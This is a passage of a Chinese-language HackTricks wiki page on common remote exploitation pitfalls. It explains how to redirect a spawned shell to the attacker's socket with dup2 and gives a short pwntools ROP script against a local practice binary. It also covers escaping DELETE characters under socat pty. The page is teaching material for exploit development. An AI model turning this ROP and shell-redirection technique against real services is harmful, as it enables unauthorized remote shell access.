mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
37 lines
1.6 KiB
Markdown
37 lines
1.6 KiB
Markdown
# 常见的利用问题
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## 远程利用中的FD
|
||
|
||
当向远程服务器发送一个利用,例如调用 **`system('/bin/sh')`**,这将在服务器进程中执行,并且 `/bin/sh` 将期望从 stdin (FD: `0`) 接收输入,并将输出打印到 stdout 和 stderr (FDs `1` 和 `2`)。因此,攻击者将无法与 shell 进行交互。
|
||
|
||
解决此问题的一种方法是假设服务器启动时创建了 **FD 编号 `3`**(用于监听),然后,您的连接将位于 **FD 编号 `4`**。因此,可以使用系统调用 **`dup2`** 将 stdin (FD 0) 和 stdout (FD 1) 复制到 FD 4(攻击者的连接)中,这样在执行后就可以与 shell 进行联系。
|
||
|
||
[**从这里获取利用示例**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
|
||
```python
|
||
from pwn import *
|
||
|
||
elf = context.binary = ELF('./vuln')
|
||
p = remote('localhost', 9001)
|
||
|
||
rop = ROP(elf)
|
||
rop.raw('A' * 40)
|
||
rop.dup2(4, 0)
|
||
rop.dup2(4, 1)
|
||
rop.win()
|
||
|
||
p.sendline(rop.chain())
|
||
p.recvuntil('Thanks!\x00')
|
||
p.interactive()
|
||
```
|
||
## Socat & pty
|
||
|
||
注意,socat 已经将 **`stdin`** 和 **`stdout`** 转发到套接字。然而,`pty` 模式 **包含 DELETE 字符**。因此,如果你发送一个 `\x7f` ( `DELETE` -),它将 **删除你利用的前一个字符**。
|
||
|
||
为了绕过这个问题,**必须在发送的任何 `\x7f` 前加上转义字符 `\x16`。**
|
||
|
||
**在这里你可以** [**找到这个行为的示例**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**。**
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|